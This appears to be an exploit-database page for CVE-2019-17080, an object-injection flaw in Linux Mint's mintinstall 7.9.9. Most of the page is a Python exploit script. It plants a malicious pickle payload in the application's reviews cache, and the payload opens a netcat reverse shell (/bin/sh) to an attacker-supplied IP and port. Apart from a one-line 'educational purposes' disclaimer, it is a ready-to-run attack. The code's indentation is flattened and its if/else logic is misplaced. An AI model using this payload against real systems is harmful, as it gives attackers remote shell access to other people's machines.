Mintinstall 7.9.9 code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-10-03 | Type : webapps | Platform : linux
This exploit / vulnerability Mintinstall 7.9.9 code execution is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: mintinstall (aka Software Manager) object injection
# Date: 10/02/2019
# Exploit Author: Andhrimnirr
# Vendor Homepage: https://www.linuxmint.com/
# Software Link: mintinstall (aka Software Manager)
# Version: 7.9.9
# Tested on: Linux Mint
# CVE : CVE-2019-17080


import os
import sys
def shellCode(payload):
with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
wb.write(payload)
print("[+] Start mintinstall")
if __name__=="__main__":
shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
else:
print("[!] exploit.py [IP] [PORT]")